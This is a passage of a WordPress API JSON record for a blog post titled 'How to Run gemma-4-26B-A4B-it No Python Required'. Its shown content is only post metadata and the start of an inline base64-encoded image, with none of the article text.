{"id":231,"date":"2026-06-28T16:47:26","date_gmt":"2026-06-28T16:47:26","guid":{"rendered":"https:\/\/brewsterandco.com\/?p=231"},"modified":"2026-06-28T16:47:26","modified_gmt":"2026-06-28T16:47:26","slug":"how-to-run-gemma-4-26b-a4b-it-no-python-required","status":"publish","type":"post","link":"https:\/\/brewsterandco.com\/?p=231","title":{"rendered":"How to Run gemma-4-26B-A4B-it No Python Required"},"content":{"rendered":"<p><img decoding=\"async\" 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d7lgCQjco4z+Nv6m3VWv4OQeJWBSCZ8T3sjxEdc1taORv0peKeXj2Ld\/N2TD5rnlcQrUt\/yFkl9gzC46hU4K7wyCpSfP3EONhbt5u1tSXq\/y\/YoKBG7TXMX6LaC1NKW9Um8PD5FP1LEmvwdGN5UZFvtLXZXJrjjrcyAq433L2WoPeXzh1Dw55odsDiG9pmpjDE2AkKdKiYzZfBeoYaCm8r3mkHVxPuxdgNOCS6LIP5SGpeqn3i6hfWvNK4iRknX95HxpSqosIVAwze18doYPMZH\/e3q+7l2W1xgEAxcraaqeVZ10ZlCtzlrnN\/+UotNc+x8KX\/ipbjy68JvNQfmYpLEQOV7RTT9xHWbDGotP2DX4UQz\/BYpn6avIuHjWz6\/RqD7JrycZ7\/iBZUY0YfwOMeE803NZFWj\/W2Wh5t4Wfl0ZrvteiMdMLy1XvevmhjGgrmkWfRJcX8orOLdH+gk7+Agy0Aed7Flw\/HleaVpvGb7SA0EmvZJyap08QX7KpFDre8vizWK02Z3jRiqR\/VGvrDPmWn5lFnr6x4HMOgCK\/NXkrEM2zpjrrCHIX6w7zuqacoBJQu3kpDmUIw6J4BWLW9lzmHa5840yGcoBoAGHOZ8td3kd82Ej8NR+c2G4Go7rNTJcuUZbzWSrTF9qwLw+Whyn06oNSWzzKJhgeg9Y+KEgs3zMIZCIlS10oEKB73WDpBA4Y+FmgZDutjUQly\/io87f83JBpu7v3UJ+pvCzqiqttKB0fTS7aznb52ejsQTzU0fTBjnVldW29B+Qn5Unlv3F2DRg1vZvUoUN0dhBpgl09ONtanRcqEI+cmv4JGp5n9iZPhCfNjWGHPctqzF3K2fwhjMifxNbj0zKvfFSpXFROpgsATaGqRFITmx\/lRq8lvKa4btkuT53gmxhxBrD8oBagVP+XBOCsQQZOvdyUBEZ2I82vLsoKIg\/utHLmfdaSkaMSEve27hqbZZIpbezWCJlH0f4oTut\/QJEnzbr9WUSZpLN5gZysh5IztD\/2dC\/UmMePxcm0E8K8MLGQRGpnmq7yEQI3Br5gh1bCTOiDh5qNYJVr4a96A2K3yJyq0nwTdYtgqZX6phBJElKAI0J70Wwa189CjNfJYmyVqsTIpEGPETbrIYQfdrGjdVDxGvac6LldC3R\/gnGJ3zu9B01d175EGvljgI5AXOFsjp2+2zwjlURmww9pe+MllDE\/w8xY8WFTcS2p6fHMdb7FBIpSWv\/JzIICwbflM\/IzapYc\/CuSQs+PjN+ZGHWDvnnpG8pCWQs3yhmbA7+YnPIy69pwn6bllyrjWGNI4JwZbVYezOzybeOcoJADZxvdeDfNX0NhNQwZvosntBjMNIcf8B12RrEhNjvBpRuzyan1JADY44weX1Y2PCahPQWnKZmgjPQ\/O2Kn4J56e6dKiO0fcGrm+monl0gv5gh5ii2Zzuk+645xtv15wSk\/GnItjZE9NY\/j+FdqNpftE\/TLVQAaebKGpdYvK5U8G+tyez+x7syNoampSNCLdr80LX6bnQO+V4PCvigRluDvGp\/N4Eh2CTRBwyT4Ejs3GCyUd0rsyVPmxZeFxh7QMUtO45xDEgYEFd8vUOvQWJa4IOHtoJ5MIIPYm1Pxv4PqMMza5A+E3jrHoP05T9pCpqPw3FCcUE0svaaIfr1YGkaZBqdf2AR5V4wVZ7GWGpi3omeBsat7XUnDF16YSkkSqVxvjp3M1dz6WQ\/LYlY5+rpx5nBjmip\/wAk+F222yrnS3Ukgcb0i\/nTKxeYKbW3hrKf6g0Vb+N1IUYrDM9xf77jnR4vutix48WZwSYA3aY41aXH7rU4h5g\/lHfgUUdoOBpXY1ZC4kpqbVN6gMpVGzLCVsSpgiGbI6TXiKT2eOxowRI40TbYoahBuqGMtFp5szBqtFoJ0xz9UvMaYNpYp\/y1GI876f3VDPTzjHGKUBfj+6Rf4JiJbD7ZrdnFnSuXzf396sl+Mzu2W8yjuQsTF+shIZJugWRoHoEmzYtfGTm+nPCzxirhMQm33NC\/j2RxJ5VoZp3+fqT3MrQq8+a6emQb6VBP6O3tADIIoPHJ7lssbcYf0LrzehQpqUJvJmtqLl0j7oTtrBVVqSyJAwiq4ZwSocTaIH8zvc5vBxtz74c541\/llEbf+DIB3Qpe6Pt5jeZIPnbQdr7NWuwsUWIzDkdlLTFyQL2pPJdGyzrEiO227iSVq7hOeZ3yxdnMps+HWx35jlNj3H\/OXYjIhE3vRoG6yz32KBAS4nKRkzlNJdc0WjYlFHo\/YVIbEmZjb7q\/fllk3OZpg6ZOQ7CnYD7Z70P5xBhds4+w7KlSZSiYN7RP0pvRNyIURlNe5KMQNOcqETfshzpXQJO4ukdGB5XedvBB53KA8Yr37CWfrRQiFcQh5x\/+zdBZd6UvIDP7O0bCZBALt+AMFvn6eG41WdkL4Sz2Z+kJTHQhcGpz2rbPnSTuZiqQ92\/VOt2Jta9\/PzfB7GLCtBMaGZf7ngcSLcIGz31CZAbgT1owJH2XRxgbRiIYfzd+ngoUe+g4YqPjrmZ536D154n+U1aFM6Ake7GgNXSjYFTrosuc3QBfv5mfYdjf5v5NlWbz\/iZrqn68QYCpc79BBSzDUZilP4wpd+1TjRD+s4vXK2iTOGmne6YxEKJDZxu5+KEc0bAVd0wsOCg5TtIbIQuSs25AGwfPgqUVTBSmSFaUYZNIXROskXUJ90Xc34r7lTkZoYEfSTNyi3XOFiP6eqOrHIPlmcISAFwCRCqk\/Zr\/wvz0mVgv8YmAEGyRXsWVqdpfLNfEbQrJ7vVCHtL+us1JdnTMcQveXV0sysu0E0QNzOvUk0+87lR0IY1N\/yv5Kwcbvi8pE3zFeYfcIrRIhz8hzejwXyHmAOo\/fGA2ZbQbKq3\/Nlue7ultQjbqZjYqn\/S15cxPWX1fVYn1+Nt0Kx8KfpMs3acqiPMJL2DH1vT\/Eek9WK6Mj\/dBNEqi40c9v77V4QU+DCmWI4JIKO0yAa3Z0UoBQiI\/PVjCw\/25s9m09ThyFpMyYPNvO5dn50CwJBcV7t803Ryo4BwrpX9fMTvahUWqinzDi8bh4acIBx3H\/MaNa\/uOcSNbL5LWqM5VuLcpMihreGtdNYuNR+kUpneJcISPEABbb+i9U1+ogGkJ7VDH0smxVgs\/w63Wu3XsHLiR67GU4SuOhS40qqwJ2uJwWbLFSC93BxTU7kJnXDFVZoedo82VF+E+wENsStTod7gtQK6CujiJWUGZW0WhJxO5zwiSBgCREsIPwmQIc5Pi1y3x3vzeRz63vkvQC6kOlpDpqyrj0gQgspBACle3zMLwDDffQL0amcpG0F2jwBMYRVVUG9vfpU05oYmViRnU7e6XpYunaCqzG05WulkARIthV2B+4coGr\/+\/LdFPvOIDkEynWZUannlFnelmhXptNak2O73dBcdn7t08ezgiYFxCwCz1N66Nw96tIUgt3vZ77Vwme25IlQD0SAF1rVtxKQdYFormoXRxvyPbjFnmYXT8EwycuIxhjZsz1tkG5GiJqwDpxoplkuMQuin3r8g4WqCD1oxTk3E79ZmamGd2vlvhQyH44\/\/7jDOsFkN1PcLEFhNHOPbU9DVJZkCF62z3cgGPmjynbuEnjiSVRRmC5k9D3acNb29p76q\/LQHic5N6K7h5teDQId+qgnZimCqrcRzWk2ySqiCqvhCGKjE81tOcrP2usNelNX3uvGxdFZ4Nfe58fBpKU35n9kWV2e0LZZJwqGW1Fqhq8Tgg6wXDH710jKkt5giibDicvtJsaoTlL\/AxYQxwlZcmF0UJF63Dezf69RDytZ8L98k34eQbkjZL2JbWF4uOqWyRifcsWdAx2Dy3k3OP0u95\/tl6yaGGFTnSA2vVycLiqYVhL3+Awxh\/nUCzUF\/\/II1\/or5ktrBA9DiwV165V8htK6yUL+VveMz\/4KC1UGUP\/wTmqzox\/AaTktF3OtHr+LaYsc5aTbY7lYKZ+YHFAfDYb86AV7rq2du\/fWc2CS3PyodDbxEDwBOKGYHtxQK6I\/+SQC9dzmLKIMBw7kUCtmakEZ+QC28tEqF5KvdbnSCWzZEuLfTNsgZ\/RRki6i+ckqQHl2NfbgHDJYKkE+eEEG9nyPifgv+DoNYnazJ3Q9yDqqopPo1lQWZGjH1N5YWOiMtj9zj0deHdJMP\/xuo9TZ\/U8bndLG+VZKYBllFtYN6mpqUUzTbPLkD+cLwIZzbcGlvRT6JIxlHdmgbnh4iSmXwv7kco\/0ercns\/a9kOWPFnG91NPg49NGnUqTrhHSFK5I+gAKmXrPO3WMX+cr8HaOLkxYQaXtVq3saYH39\/kwB7g3aLdPzF33w7VEsa0JGQnjxRB1ykx1KxmN9F98kRiNJ2T\/UHp2glOrKy69qegXtU7Vihor0mSVh+71gVqAHtpWLJJJ\/KiQDI7dJJMyqSWSsrxpuV\/ENlN3xUK1M7lVnNk65OmZgB+kQlBUCiAjYJdA7GbRGGp+UzkGDUPK7J\/wBD2FhazqjFDWidteGJm5p6CiTrl5O1UTS2bMFxvA2PUCws8KJmbOggl+RbPPv6bdBo0Qjallc+\/\/Is3Cahn9wohf30CVWLdmBunz1YHL7M3\/ZKPYAhRemVaQHE66jW2Y\/+a6zomoQLIb234VctjPir8FQqHE\/7iS4QOcFyHI\/anZ9jrgD+ipcsY+5u1TgTKkF9wPclWGq+1y6\/cDUgKFQmaNQZSbAnfDvBI8mAY9nNwu+JKAe5tManiHtgaxmAHlkqZ3pIjZXgyUBvFi0dZas\/7q92Yd4PLY9lW7bBDR8Fvtdn+AAY7BXcWdQ9B6blbDaQNicLOKniigTaoyZi4drZ5FLlaLjukuYM6FE4FgyARcwR6FzrZE6X+N7i2drnD5q4mSfy0aQGZr5kppj3Fjf76jy7OCYtGMS3On0kdVgamtSTIhSQOxw1w1zC\/hbN\/LCpH6fTEkzqZAWDbdIhRoNsNWRWo\/uNf73KbDPdhfNRvnRSZkphtIl2SCtsp404jdb123RZxibTu23urFma7so2GcyjnXh51i5fJ9ARgqqEEgTO3fYOvii1xUOmuDs+tsw4S9MyBnDMuGDNG\/oPRW8BbdaauWdH3+teggVwXHAeKUBOjzFP9I4sQV7dlrRGR411kpq8Nx9fkRIYiRWydnaUPU2B9R9zD\/FzS6cM6UkAtMqOaddtKJqSDT4AhS1tJ0o5FDLLl13u4kYxEbmVoLBR73WYULExxS7+gon2QkOg3dCazRF8HjMo8qmUnbalLRcbozsirf6WZHQ4J7utruxxYzKYr2s1K6uTgt7EPUn9D9a7t9nFykLK84VBKP5uSjMi5ofQdxgOj5ZMKlhS5yR7+BgjS2jQDObbTf70KHEJd5vadw5krhQyB0gYHT6un2\/5jfsaxjth46HKYH\/FHCfVuF8GqHmECIL0AfBPI6TL8ZUKNn2BHJ8NNrsHbrHl5NEZTXgdr54clT29gBVm7RNkPzC+CNq9IjAsZ07c38pPJEU8dUSxe7sCywJQXLNSPl+g9EiA4yYTfb92aG5nyKD88nPVYZ3BqsRxtm0al7\/g8DBQWYcd203qExxk91zpiMGLYB5U+L0hvdjHl8uczDnZf5sd39klAsHlkDf3lrB+WdaQULay34OvdBwSP13WHbKpC6ZymnpZDMFb5mrEQgbkt95a51v5HSKbACpn5c0vjt7sFW1wp\/uY7Il6ET0kS3Dc7aF0AOqpYX5keDqD4QU0rDi9a3j\/sNqOPq8oXe309cIYyxXJ98eNghiY4RmGB0Q\/9LD1sBwKzFBSavr\/UL\/0nxjcjwaTKP4udC\/o0pnWqK\/VJuqmRyT6yP2OjzHVp\/cnVRahgc5CjlUNFEZwElOuOluFx1Yyijo9sD6lCVN3e6d3aSc9uq7jM2NHv2bAvRqXE0poURmDHL3CpUhHfAJS+G4ThEkyqbLlFPO995iKFEDwT5dFaQHvqMk7FCjYRAMA3wc+4hiIAzpBG4m6X0LlshLXzwCEr\/ny1wVGwFZ0ZnCEFbhQ7IZJwWfCWcpdXiDBVDjKDHmMI16e+F48F7q0ufswcnxWfr2VOxi5wzrg39eurQBXXyYwF9lxv1\/ydnJ584lg1p+UP\/KeMtdjBJrTYcWYRC1H2OpBLa0yFR4V5PsOJDftEq4ymutPpcSa0gMALkIty4k4Xra0uu4MC2PpXLJ52o4bOx4\/uAwrWQBl3hYMcRUeDS3nvJfhUOqtSvIKYMVsBcvjT4TiDyz3yFqEXXbbpHkRYU1ygmkmFc6X9VbqQQSCCoFcaHWEr3TPt7swe\/lCkR0qnj1rcl5XZoxXdP+lMfhnSAJirRe79hAHKuXtclusvf6PkXphgqry43\/ysIoiCVVjvZ5fPYPehWI5NDR7VoTvQOzoSP8RX\/O4jfHv3jMtyN3GfTWDAm4eE7aMQ91kooK2F0tEeudt6nzY72ZbfWt9uZhrTAmldjH2wPoh5\/xRFO\/OPnadvMYcA6KfGTMAc\/W4p8O8NCnCO+KIFKrIcOpi9NoKQccbf2KBK2z2cRLtn7d9N+6Coi8o6Rm3Yfj\/r50OJkKRfXDmO3VKQauGkYBHm\/gCQeutEYbn5jPoevdBH15oh3t2SvkjThyUlgMGaZSZ7uyz5wePlTedF7aaOkBspe+j4NWxvqnvit8m0kFnuVjypeXDExj1Ea6uKUiwBBZwAtg58cEkVuK\/m1i\/BQ\/9Sp\/M5PPKkPeY3ODxI4ZpIfdbvttt3+tj\/che\/NplSqiNmzHOcjEnU\/bxMTnQHrqr24s\/VWQspkJ5YTciy5ACcBT1XopR5db6sHw6O1+AlOspdt3S40CnqTkPj80Lhq3C3LiLpwZFzyHEy2sZts2irTgpz5HDEqhaW+\/l6dbsllp7QmluspvflWJotdwvAe5q5JpeWpLEH751MitWjx57rn+\/wZrjT4oJd9VjsbfoaBOCBl6jRFcQkO7mA5yRohAHQr2cHpRM8CnVSa+XEeM5IGVfARIflZhDwGh2AKRhQji\/ABKoZ\/DdApeHRNr7Ff5vtLpdKGYJKz3adjj0sgAxaf8Yjk5sqJBuv3Jj+khcKTRGP+OkWmglC9hYWSSvzj73MaiqVHMoz1AIX\/jhDKFQfwWHgE19d\/fX8zhB8s\/H2I1ft\/J9cFlbXbXiOUc36d6HTXuOgKPgbTYtTxitomPIcs0\/IyK+mJW7TQIrD6otFxkr75a2gXiK6np67bqHJSa4EXXINpGpTzO9Jb22aSjghqc27XV0hzOdQHn3zCHo0TOBX9V2YjMy7sLOOCggHftg+rjPzW83WuyoL+TqxDeiYiV\/P+xawyDCir2iDMtf5dbVcfRF5p+KGCO8gjCT8RqXrJRF3hgESTj1\/69YgU5EUklv1SVc0qYsnvoxUERBf4\/mefhryhgT4QskmGVbzyVQdlxEQ1ROu9DuTGcLN\/Ly2PIzDXb9a9WxykhhuIbhLC4cnWn4r2yQIvan+cJm7AU2zSb2fYk2tndAJBL3wVDsQqQrxjBrxy5z4UrTVb4JB4+jCuBwW7hamOpELe93wZFv+in0iU8MAciuwMbyHplheyjq2VPuQBe+txdrvKjI0tcFK4RpCbiio\/Qs89fgphe0IhWH4\/tSdygf2dfcFKNdALT8MPJX7K09ewiP2L7D+Vx\/3XsnXtL9a5OPIUgSHH+I\/e60M0kKK4RMMSW9tsngSLvi6BQM91RH9axmFXtLxRHWXCNy6GsW48jPmFRL9paD9I4ilMWXLWeUsUNmIYEy61EoFJVbEvr8uEDKbidmxZeN1jGfYZ0OaMBU1EznPnm4d6Kv8myvURysGLd0c1z1\/KWDiiaH6EPIewP7gadch90viWRqL+f4tX3EMOR0lsVX8eXrohUf75aQZbsUHpXyaV6ZkV0IPu8lVAyh0kXpkZmFmvzWCLD8jdyVvVebEgvkVHScq1WaxtSxGDyLI535AuoeK6L5Wyfej3ZiRG\/wtFYhzqHzmhCSoGXuCq8NWfI+f3CdEh07XfP4ZHrTzABfnv08MvmF6+juRXNwEMtmvJO68YhbJXxZhJmImlp1jKSe4PQ3TLH5DhO3y2Y6eqRLTAQv5bMtDOvlh+c9QWUU64EjDPwVz22aSy3GZ23dqeRy5taNP0xPWtV42CrdyaxujWDXWf7pEuVR3MnRLlvSFd9mmzycUdDJfiiNYrM7YeCUYEHOEKMIt6On6g74GfivG\/K7UZb+XZuVmxr20D\/4dRdtA5\/mMobC3Z6zjKPKvCYTu+Y8NP6ATKwrOGl5hRTUPnryWDpkoW7slgXwDzD3Fm5GClp5\/BCbkhzXBBPV3mTP8nH5+1XfuV4LXYVc0QBkTR7VS123brfE3L81MLmAfQzahG0+3mbJnP3+LpdqwyZyDkt+AVXB7CdqVmiOr0VP50S92am\/CUH\/MZtCa\/z\/\/ug3\/l6UZf\/uuxZknm2I2CMWUf+JxyoMHKXT7f0gEa8jwD77VjwaBxKBz3jJ0zks5T81ZFuq8v3wqqXuEOqYiJCd1yr9HS20OLfCxy1nUACMDl4MbCuXxxmIWMPoAx\/kJ6AQQBcZGs+VVUc3gKNMc2RBFb0MM7DZsNYbty6BchmkrCFqC5Rp4+s5QOVLBCChtH1mh97sEscloksy6a++Xby\/y3GAb3MnjS0MbHPzVXjO1pItaQg2JHg3aAEh8omLJxedPPv543r6rzjn5nnfGKKiLid6CKfhhtmyvM2iAdm7iO8MaJmMsxax9Ahx1i\/3D9wWnq4aPMWw0EXjbQcFCp+whUY38J\/pYBnZpTznuVNy66K5XZNPaXYxLxVHrgwyWJyLhgTyYZZQOaoTPhJDNsTimRD3C9Cdp7bdcgH6OTdv9YMfqg8iPUCGGKCcuwqJUI8vjOyqlSwYMi1mSQIruJDmW4pLYaxIBYp\/TcKMSep\/DteiyOn0MSikoq5L61UYy3sYxihsJ2smSdYWvBjQpqYAwBTPPNpwqCMPnAPzAdbq2CKTaZoRM\/Gl7EH\/uVCeW2RWHbgjmZ6jh0cfLD\/XLk+UxxPAS5CrIZnZq7YpOz9W12PM7vwzFPZg3GBOnDTf\/HIfkR1ulVV714Gu5vD2\/p0oEQYfKx8Q167fSHOxuGC\/mVY8hz2W7UpW4UryiC3qdNxmPcNGtTEUnlkPUv4hT8cZfLYZZyh8xL1ACPxpgEiEYybBfoMQimpR2SxjPtWJDDehWe2t0p2ayIFVZoM1zmH+2a4d6e7dEy0zCyk7FHDqBLUmITuLwpAr\/kBHQ7vtxYyv2HCIpW9KwuPDIPOMs9LBsVKjP9CtuxA\/ut3AKXimY3ZH0ePiEceC19ixyhWNslYAvhotXHO5cfyY0V8lnzWS2kV4H5TktPidDkW3D5SN9veSucbdti79Ss5vp25pujSyWXl0Dimvl22nNo0lOkMRiGzmaNlR5q0xOkUfNxVLlcHnpnQ8AnRC6\/n3hiysBehEwEmw7ZwbjAO32gY9vje0icI7MI2D0w1g0KLaZOKWCVolQGkRZWWqrDwhXVDeQCHor+EAgGmcQVtFj7NRGayF+TADXo\/6h9B2u6CjOYGLhwRvIV\/CUl\/sU2VHJdm6Xm+jyQfTyBzpfAMhg1BsWEKmRJ6CNnP5KnVvWw+aT4uM2\/g2Qp+7uqKypYnuWCxIBhKrd+LxJ\/cL\/s2kVal5RI4CZ9kAazGa2xv2kd8+8BIGxl\/K+t\/Crwi\/KKaKpeE0IYbAvspFozRWS9VScM9KYAdn\/W5OboltqLGy3X\/X\/jBNT9jhSRHrdfOR1i9\/OVBKkCD8Kb\/S\/KvScg+s5QcYq5UddA7nlFdHIGesP7Wgf93k0L7JieEePYtzBbGMQlnOTZHUWlYysA9cc07qn1ZObnSCz42aYGMnt8Znady2USmNVmbsRrrfO+vOxDJ25y\/9QH2XdBoFDkfuQ1LyOOvC4r+QxYFCA+45SgFBa\/CnlZUfdoHEvcwloAgViuDsBf43QBfAaUHf\/8pTfEr\/yReOf40zklwDT4vte4WiPAPnMlyAvO3KSx1bBx\/jUz\/Msg7pgMRbvzrlTfHM7y+JeDrPqPBrlogDG4c9ZDpY9vOfRl5YSEHCdvV0djqzzO4lXUsOtjj3pc7KIcKZn0NjpC0lFLChlb+ETPqkSdeoRJ2022wF2qbWzWzonB+liAAJaLEnI+os1sHKieiQf+5uYovTYH\/t2OKecuqx0MBdkDfCC3Ov619fzCCmglLvnySqaGMYF+jGOVJcTOWBgARI7CzcAxSI\/QrzHQZlXPfpKx4eoN2pwetFdbsfyzYKkKMCdnc7R++xMR6A1XF\/nlCfD2jGYD3MmscjZiAk7mSZxlgG8WZ4GmucXmd\/uKP4\/WX31wdqMe378yt4YwYI+79alr\/UjF3u+vPII6AiGNwMOTI8YZfyKjtT9ycF6ivwaF7qsikKBzcosFRUAMcP7bZvHq4c\/pahWoOQcYaSPczOcuSxYE6BEwNPWJigHc9Jo7ZzcvzUXcYdTpVM2SU0UigKB2EPWsKs242zC6odDlbt\/Mx3iGe+XLHawZTiVzv7380d3hgYa14Z84FsS0pr0lJuMCeUkTgz7jvFC9S09D16\/qY+hUfxDXY2PGuCa4QUOiEffjq\/+B+4LnvUT+fdzuXImD2I\/a7dXlVc9s3WSESHJrTjuhU4XlCkokCNF5K2P+hnaFgM6zPu8WvY\/+zcA9GKkN03o\/jFOGQNYaMW3ERexS8SNmrnLRINnbTOtnm+BSBPT3yCSU9i\/yYvIGxvV7JXIB1MDjtyhjT6fPwlchLrqtd\/JyU8i4c5\/dxJLQQ1g1jGVbfVWrgh6fDxSdKKsK2x57eR49Jz8WnwAb7SFMB0+d99OUY\/0QI8Y7\/+3emuK0NeX7R95edlxv+mXp7NZQRidaPKT9Fw9KGUeAoGcPxgFr0Kr6zu0PjMmE6ve5OFqK\/cjgDrHoY7r6qrx1dc\/Z3fAiJnsh0v2tRZ\/wkTPQXG\/Qf6daU5b0B3n9DthSzth3\/yQe5PPoeKPrETyXFQNrMTeL9kE2aPl3fhrH6OrsCA5pC7eh6Ye6jGWr+BiclyOIVWRabrvnORebBZETX0muE4CVqm+X1gzots6cTWqRBmknTueN+HmJMuP\/1A1J1j+z\/yzmmTz+p5tL6OLMX1FU9vMDNKzCVCBUILwZqpHYVNGy6So7uKGbqfDP58a2Z8yRx\/w4Wod\/uOeCXm\/wrj8pkvKzCu3jaNOOgD8stzbODeJ2Kuu\/nJuUC4GegSzWThSR6b2JLqJSOEm+NrCJHCltWh7PBE2ColQzNPZpXJMJHK7GZhslr0qwKrsxM4vBAffUhN9Um9oS17HB+BUuO9reDih3wbb9EWu5Q1JUT3rwMJa57TVT3AKNm\/W5OsZqB\/DOO4CnBPY\/LtsB0ltZDIPhJzwCoBSic6ikkYKKztUOkaRvwt2HIdLnKPf5okF7Se+VVbaRZUahowCT+kTJ87ZW6cRbHYN6wt9TL0MSXzZY6YDad8TSNL87p4R3eNzNgQf0T0ttafscw\/4gX9GivBAYZeUi5EahCI3bD89jH7ry6LQqTrpRnwH51poWKPj38wbSIzXyn1Uhq0QEeW4G07utwBgS9bKY5S\/t\/NMc9FH\/pDSNqEJpSuX\/2JrI7OlLwy1KOQ3AwcsH\/nfkAoY1xrXLWclpjvbFcE6wLvhsh7jP3SpXHmF6O3IBrz9thxczW6Pm+n4Jb94inrKZiycu8aLVKRRYYGcnyf3lsRGMt\/BjZqa48nwYV6vGt0qlDE2kEJD3V8wOE3H1Bk8i0LikqWjCSmzE4Q4C17qosZlJhpVeFJHOOMEXjh+3UFCYgLGqKG3ZRyQl5K9vBEu5Mm67JHpnWAziwlgIGvX2LE1lS\/sO+2fyKxMq2zny1ejCNFf4Fsgl3uccGzhH3B3\/SaCZqY4nv1LnnKs88co0pkc4rWdcBBnqmF\/++EyChLHkRtMGCsGDW29LQyTBwgKyG62GNRy2ZaUhixy7KYBxOtGbznHt2FBMx8r7TnN74drS+hfuryvTtYetCii+LLF5VMo43r9RhfVoB\/ZnK8dBdNyQ7e0+4uCjCqsoJxj9gQUbCHQXPE0tSFRRnCBiUr3tgijuFG3hR1EskFsWAPVM03mOyE2NyIIbKO29sdkGarN7JatcGC+kzer86STpZriQY1vXKu1ukQRlIZajiYejNz84ZLbPshMohGsoauO4uMz4bqgur5rqnhVVumB3KHqz7cPiKUXVeqKK9ymtw1jidmpW\/YiLcox1FOzltyn9G6wqAxcf0dHQdwdWZc\/6h6SXITCJuHZBbo3qXo\/YAjkLoOKwlsAnNifoGsRwBwpsheF66NWNy\/JF\/LDbnj+BqNeXc8SBDmGZ96eRPo9y6QsZf51TwuD32EblQ83+i1CrGKvy1F0BJc9jj8GSSh99WYr2gFlnzvPBPaKKMSRonTryjALv0tJb1YjuFHEzJirhxoWmJaXumd17mykI9JjxmO9eOK8ho3UXVoP0mgrVEuYkiDXlJb7zPlFQbMn7oTp2mmXHIF3jrxQQBGOcNssvEfc5FALQ+WCVLIqrFrp81aMONmrbceJghoilbBGWuVL79bWSdO9I1arJFGzxyvysXr8AirTPMylTJVC3FCOw8O+ZTfukPdwzubWNJNmAujUkzY17bMIF\/PdmsPo54CQXJ7dxL2w4NIYrlIp7kcCdacHNZNoJVcg4Gf\/6N2S\/Ab8o1MInJYj\/xJfFyEtKARh1yC9Gm4y5knptHf8g1ok\/9hKKKIERQKZ1A30MKid9h92VSFVgth7EkVR9N6bmCpzxrM+Mhsp3ObeWQFSSwJ2MH8uP7xXtzI5kxae1KPUl2Npt5b94kJTDxNh0pB1xeJ6P\/iPwNyb0YxMJbFlu9H8RuZ7ySUaY2etIJQi8ohNp4L0c1MAumxKhO5lE6cQSLUeKzuqQGifJd93PNI9Qj4synKQAFVUxAQLVOYvhiuvNl5P8v0Ce9jf3NJcefI8GW81a6LTBWrXKkqi3FcXIMQktDCLDqyhk2B8iZjVygUUi0Ch4zxXwldcEX+NDbGvGqblvyxFMUHdAZcJEkpWyIdbQlYDLL0K5+992nsuVhQMqsOO2QyqFurEt\/Oww195YNtiAkavja4wdEOpW+nlDfmxZyTjqk0RDXofii2xGkUeC30PLEafL+fZ4dxMrLvsUHwfgAuUeNBVyPYqpWzHQXBcO7juc69GSGQh6ep9H4TGHz6XTbll8Pf9p3Vge5HQc3\/vwg0vvtdrUV2eBL64XsMT\/1o0+MaqZxA642XqCbjH5S01NHhmcgI4l1h65TWLVxd1124Y9h5v\/Cn43NIQmY8N3HsRvrAbTbtC5VFvn2jxitPK+Ffmjvn2jqaDMve+Wp0\/wrrUwqPhqHz5zPAMSFWw1KApmWRxG4YNmIFXInVPypJBGoDozaBwVWq1pg26U9otaBpPaZMulIse6VSBVjXgYYF4JGBGn2S8fkW4\/Nwp8DRD9fBacjfuqIpntFpxAMyzSgMXCbVm4tlm3ndGOlSweoFkWO6IBuAsqUC\/Oas2beX+nABoHYJ4BDrgEiK8zEYemsTRaEqvj3EK22rx5s2SVuQoinRlg0j01\/mrwCWxSKv854wPZGXhe7v8r\/j\/GHZDTlWnRAG9uEqho55TXLEa6XQOHDs\/\/fmOUfYBgCd2f0L8yffVUQ8ONLs2P2CHape1SOrZtIeY\/YQl6QTSXC2FyygVbNLiMaG3qancsBY0An4MTSnhGBevtZWpEXibvaNDGK8+1o5CYZ5pIw5BcfoI4iuUeorvhOBOXLNpZUT9KTFfwh3GwF2cu5BzfodAAD9Z7+oGG23x7hwuv1GNBQ1dsx6\/4OScCZZ5NMEncbRZknCK8wb9F1aIEjj2HEbpVQUArEFMRlkfEiMuU0QsYJ4abA8XgJSMue\/ROLUqGVr7YE8U90xToiyfsiPXXy2afNcqUOMS\/wov5nJWyW0u0Zr64Qw9s6WbG3ka9c9lp6c9wgtE0rgcbgYkx+WVadHLDj6YObP8A548uYIXw0\/li6XnBuETjY+PS9Y3SKVm2vrqnd8dOK9e9zzcOAtGElEwDtZezzTAuQ16lbHAdSCmRClES7kE1SsuZ7g+eWGCpUu8eOht\/9g+9VtQGXQ8\/1HpBVP5vHzbpm+sth4nVwtyBXYloTy1Fy6nm9Vlm+xRguxgq\/CSIUNitP6F9qNRHSKE2kvI7yCCBAtTa+gE4nYVL9YOFAlQI3Slhezj41VwWQ+zZ3F+hJwdVpBPOawSxjIDu7D40Nyyf+VISRv6z9ZbGPVHIrC1dGfmI04NSPbi\/XhIXkFO6PbXd3XNEr2\/W088z\/MEjuMpmt+a7ZyX+rGHQhcT7G1BfXUmsmpt5IrQLAZmR3AG6FwZVHZmDF9vfsMrkIUR8PuFWciAn\/CYGh+07BTEp\/etsFuK1NL1wz+W4l2Krb4IVpX5sA0VQo246ceU7dw24wTy66oI7rHFTafGQw7Fz8HdYmGcOfHJLSz3sZvyQYxJ8y3H4uPueTQ4EKikR7vhu8e5v55\/ZLqgHnTIJiHuvHOlzetbmLjHyxvfbOLpbl87i73QvRKFm9hICqJnMZPKNWDX\/Fbe7xsL9VFWoXa\/Q9pVZO94MFpFuTQSHnIASQuo6qSzR5PCSRMiSNpjXDSsAWk0Tjmr33nLZzqODaBSvPiVYwUcxPOprkEoNfmHjTVt\/YPRfcrg\/QCCf38RM8D0U4WaZd\/hdQZalOcUsZMC6uj3H9KVWbzvyJ+AMhILx52FAE\/h5E8GGl6cbRLbf0rKX7RS1G0v0A8B4KkWDI4ZRw5EiHT\/j9d8Q7o\/3cKz+4bx13hkdNRPLa\/jIKZONFxT47bGb4jJsmTOu7kiy81iAmsEHCpaBapV8rIwol0NRiW5IHfGKJYAyZAkvBtjEBSbU9xCnHgBuRpOJiTOR5TjaXpMy3FViTJ8EYK5YT0b8rUp8mVDmq2BoznSKT9pu+hJn\/6r5Qd55OUjjsXGMbKuIkpEp2DPpL8TDTBg+dDRzeB2iOYG44QKZ5MfpHDXU+X6DGmM50g+DqykEMrgOrgY7ci4wSqvxKmOFWOx3c1r8ttSif7O0MYGd2qDUresffnxcsMUhqg4AIljafnYRo8tfFUasJw1T1W1gFd9HIX5jpi31ZXUeTOOThby82wh2VN5aZf2cSaMtEKTn8qH5wv+lo2x9MW0opK9UvgmEL0zSnw6jO\/7KRTfC91MX65eM+9I0OiF95akuKDz7ayKPZTOZm9SlzxP+OlOAsnJ8ql90LrsXR7LBVGpA3saN0lS6mANT5PkczYd